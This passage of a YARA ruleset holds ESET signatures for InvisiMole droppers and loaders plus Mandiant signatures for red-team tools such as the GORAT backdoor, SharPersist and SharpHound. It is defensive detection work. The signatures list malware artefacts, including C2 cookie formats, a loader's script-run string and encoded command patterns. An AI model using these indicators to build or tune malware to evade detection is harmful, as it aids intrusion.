            44 33 D0
            89 45 ??
            41 C1 C2 10
            45 03 E2
            41 8B C4
            33 C1
            8B 4D ??
            C1 C0 0C
            03 C8
            44 33 D1
            89 4D ??
            89 4D ??
            41 C1 C2 08
            45 03 E2
            41 8B CC
            33 C8
            8B 45 ??
            C1 C1 07
            89 4D ??
            89 4D ??
            03 C2
            45 03 C8
            89 45 ??
            33 C7
            C1 C0 10
            44 03 F8
            41 8B CF
            33 CA
            8B 55 ??
            C1 C1 0C
            03 D1
            8B FA
            89 55 ??
            33 F8
            89 55 ??
            8B 55 ??
            03 D3
            C1 C7 08
            44 03 FF
            41 8B C7
            33 C1
            C1 C0 07
            89 45 ??
            89 45 ??
            8B C2
            33 C6
            C1 C0 10
            44 03 D8
            41 33 DB
            C1 C3 0C
            03 D3
            8B F2
            89 55 ??
            33 F0
            41 8B C1
            41 33 C6
            C1 C6 08
            C1 C0 10
            44 03 DE
            44 03 E8
            41 33 DB
            41 8B CD
            C1 C3 07
            41 33 C8
            44 8B 45 ??
            C1 C1 0C
            44 03 C9
            45 8B F1
            44 33 F0
            41 C1 C6 08
            45 03 EE
            41 8B C5
            33 C1
            8B 4D ??
            C1 C0 07
        }
	condition:
		any of them and filesize < 450KB
}


rule ESET_Apt_Windows_Invisimole_SFX_Dropper : FILE
{
	meta:
		description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)"
		author = "ESET Research"
		id = "08490bcd-3139-5fac-9c6c-5a32acb7217a"
		date = "2021-05-17"
		modified = "2021-05-17"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/invisimole/invisimole.yar#L79-L95"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "6ca248d42c1e889988e5931d80df071cb20e623fb0c4a208044cabe073f71ce4"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B}
	condition:
		uint16( 0 ) == 0x5A4D and $encrypted_config
}

rule ESET_Apt_Windows_Invisimole_CPL_Loader : FILE
{
	meta:
		description = "CPL loader"
		author = "ESET Research"
		id = "feff8627-6085-5835-ac1b-d4522245f7db"
		date = "2021-05-17"
		modified = "2021-05-17"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/invisimole/invisimole.yar#L97-L118"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "cd5c19e14faa7fd3758b30193ccf2bed3692ad29d8216466523ca25d2abcfe88"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);"
		$s2 = "\\Control.js" wide
		$s3 = "\\Control Panel.lnk" wide
		$s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64"
		$s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32"
		$s6 = "imageapplet.dat" wide
		$s7 = "wkssvmtx"
	condition:
		uint16( 0 ) == 0x5A4D and ( 3 of them )
}






/*
 * YARA Rule Set
 * Repository Name: FireEye-RT
 * Repository: https://github.com/mandiant/red_team_tool_countermeasures/
 * Retrieval Date: 2026-03-15
 * Git Commit: 3561b71724dbfa3e2bb78106aaa2d7f8b892c43b
 * Number of Rules: 139
 * Skipped: 0 (age), 25 (quality), 7 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * BSD 2-Clause License

Copyright (c) 2023, MANDIANT

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 */
rule FIREEYE_RT_APT_Hacktool_MSIL_JUSTASK_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project."
		author = "FireEye"
		id = "06a03d82-db69-5b5a-a578-a8053814e917"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/JUSTASK/production/yara/APT_HackTool_MSIL_JUSTASK_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "24d2f8e3838c4f02cd80644a396ce7cf105761d2feba54e39973564ca5e97571"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_Wmispy_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project."
		author = "FireEye"
		id = "ac394751-da40-564b-8e24-8f353326b46a"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/HackTool_MSIL_WMIspy_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "a5a9f7c7a7bfe474e8b21306ea220b4d476832f3ad4fafdd8967a2250d15a701"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_WMISPY_2 : FILE
{
	meta:
		description = "wql searches"
		author = "FireEye"
		id = "474af878-a657-54bc-a063-04532df928d4"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/APT_HackTool_MSIL_WMISPY_2.yar#L4-L24"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "3651f252d53d2f46040652788499d65a"
		logic_hash = "553fc1e536482a56b3228a5c9ebac843af9083e8ac864bf65c81b36a39ca5e5e"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$MSIL = "_CorExeMain"
		$str1 = "root\\cimv2" wide
		$str2 = "root\\standardcimv2" wide
		$str3 = "from MSFT_NetNeighbor" wide
		$str4 = "from Win32_NetworkLoginProfile" wide
		$str5 = "from Win32_IP4RouteTable" wide
		$str6 = "from Win32_DCOMApplication" wide
		$str7 = "from Win32_SystemDriver" wide
		$str8 = "from Win32_Share" wide
		$str9 = "from Win32_Process" wide
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of ( $str* )
}

rule FIREEYE_RT_Hacktool_MSIL_PXELOOT_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project."
		author = "FireEye"
		id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PXELOOT/production/yara/HackTool_MSIL_PXELOOT_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "82e33011ac34adfcced6cddc8ea56a81"
		logic_hash = "c9892adcb9ff5471235e45988f6662d3b8f984fdafca7024a5781eed50f6c0b3"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 7
	strings:
		$typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_APT_Backdoor_Win_GORAT_5 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_5.yar#L4-L23"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f"
		logic_hash = "67f85fb3bedfd18a1226c92318f387be3c7ff9566ca2d554c49cf62389482552"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$1 = "comms.BeaconData" fullword
		$2 = "comms.CommandResponse" fullword
		$3 = "rat.BaseChannel" fullword
		$4 = "rat.Config" fullword
		$5 = "rat.Core" fullword
		$6 = "platforms.AgentPlatform" fullword
		$7 = "GetHostID" fullword
		$8 = "/rat/cmd/gorat_shared/dllmain.go" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_Trojan_MSIL_GORAT_Module_Powershell_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project."
		author = "FireEye"
		id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Module_PowerShell_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "e596bc0316a4ef85f04c2683ebc7c94bf9b831843232c33e62c84991e4caeb97"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide
		$typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Trojan_MSIL_GORAT_Plugin_DOTNET_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project."
		author = "FireEye"
		id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Plugin_DOTNET_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "e979822273c6d1ccdfebd341c9e2cb1040fe34a04e8b41c024885063fd946ad5"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide
		$typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Backdoor_Win_GORAT_1 : FILE
{
	meta:
		description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)."
		author = "FireEye"
		id = "5ac84cf1-49fb-533d-b211-b1a92239063b"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_1.yar#L4-L23"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "66cdaa156e4d372cfa3dea0137850d20"
		logic_hash = "f6a0a923f64375e7ffdc080aec41db19a9e162405f1290ed0bbcce5a342bdadb"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$s1 = "httpComms.dll" ascii wide
		$s2 = "Cookie: SID1=%s" ascii wide
		$s3 = "Global\\" ascii wide
		$s4 = "stage0.dll" ascii wide
		$s5 = "runCommand" ascii wide
		$s6 = "getData" ascii wide
		$s7 = "initialize" ascii wide
		$s8 = "Windows NT %d.%d;" ascii wide
		$s9 = "!This program cannot be run in DOS mode." ascii wide
	condition:
		filesize < 50KB and all of them
}

rule FIREEYE_RT_APT_Backdoor_Macos_GORAT_1 : FILE
{
	meta:
		description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT"
		author = "FireEye"
		id = "4646eadb-7acf-582f-9ad6-00f012ceed8a"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_MacOS_GORAT_1.yar#L4-L19"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "68acf11f5e456744262ff31beae58526"
		logic_hash = "2df5f87d44968670511880d21ad184779d0561c7c426a5d6426bcefd0904a9b7"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$s1 = "SID1=%s" ascii wide
		$s2 = "http/http.dylib" ascii wide
		$s3 = "Mozilla/" ascii wide
		$s4 = "User-Agent" ascii wide
		$s5 = "Cookie" ascii wide
	condition:
		(( uint32( 0 ) == 0xBEBAFECA ) or ( uint32( 0 ) == 0xFEEDFACE ) or ( uint32( 0 ) == 0xFEEDFACF ) or ( uint32( 0 ) == 0xCEFAEDFE ) ) and all of them
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "49d7891e-b97a-52a8-acfd-bbf986732d6c"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_2.yar#L4-L23"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "98ecf58d48a3eae43899b45cec0fc6b7"
		logic_hash = "57387352f8fd08e8b859dffc1164d46370f248b337526c265634160010572a00"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$a1 = "SharPersist.lib"
		$a2 = "SharPersist.exe"
		$b1 = "ERROR: Invalid hotkey location option given." ascii wide
		$b2 = "ERROR: Invalid hotkey given." ascii wide
		$b3 = "ERROR: Keepass configuration file not found." ascii wide
		$b4 = "ERROR: Keepass configuration file was not found." ascii wide
		$b5 = "ERROR: That value already exists in:" ascii wide
		$b6 = "ERROR: Failed to delete hidden registry key." ascii wide
		$pdb1 = "\\SharPersist\\"
		$pdb2 = "\\SharPersist.pdb"
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or ( 1 of ( $a* ) and 2 of ( $b* ) ) )
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project."
		author = "FireEye"
		id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "98ecf58d48a3eae43899b45cec0fc6b7"
		logic_hash = "cf480026c31b522850e25ba2d7986773d9c664242a2667ecd33151621c98c91e"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_2 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project."
		author = "FireEye"
		id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_2.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "9f401176a9dd18fa2b5b90b4a2aa1356"
		logic_hash = "e48474c5025fd88e3c2824e1e943ff56cde0ea05984aad0249ccf73caa6d4a36"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_Hacktool_MSIL_Sharphound_3 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project."
		author = "FireEye"
		id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_SharpHound_3.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "eeedc09570324767a3de8205f66a5295"
		logic_hash = "baeea6cae42c755ee389378229b2b206c82f60f75a5ce5f9cfa06871fc9507d1"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_Loader_MSIL_Allthethings_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project."
		author = "FireEye"
		id = "1805b406-2531-56bf-8e08-e63a59ffcc84"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ALLTHETHINGS/production/yara/Loader_MSIL_AllTheThings_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "e3058095f2a49f8c0f78cb392024795367609b04c1da80210ab8d72c6613ee71"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpschtask_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project."
		author = "FireEye"
		id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSCHTASK/production/yara/HackTool_MSIL_SharpSchtask_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "7437fde82920f4d015a7f149b58924baf6cb220c6f6857d9509e23795ff0811c"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Loader_MSIL_Netshshellcoderunner_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project."
		author = "FireEye"
		id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETSHSHELLCODERUNNER/production/yara/Loader_MSIL_NetshShellCodeRunner_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "97f6475a9d42697f633e06a9b04a85021ca4920145eb4af257d71b431448f0e9"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Builder_MSIL_Sinfuloffice_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project."
		author = "FireEye"
		id = "cf020fb3-751b-5346-8c0d-dc0a552599a3"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/production/yara/Builder_MSIL_SinfulOffice_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "b5d49a8720e4daa21e95ec66299daec42e65906017de886ea91f7bb6bfb04c77"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Methodology_OLE_CHARENCODING_2 : FILE
{
	meta:
		description = "Looking for suspicious char encoding"
		author = "FireEye"
		id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/supplemental/yara/Methodology_OLE_CHARENCODING_2.yar#L4-L23"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "41b70737fa8dda75d5e95c82699c2e9b"
		logic_hash = "20843295531dfd88934fe0902a5101c5c0828e82df3289d7f263f16df9c92324"
		score = 65
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$echo1 = "101;99;104;111;32;111;102;102;" ascii wide
		$echo2 = "101:99:104:111:32:111:102:102:" ascii wide
		$echo3 = "101x99x104x111x32x111x102x102x" ascii wide
		$pe1 = "77;90;144;" ascii wide
		$pe2 = "77:90:144:" ascii wide
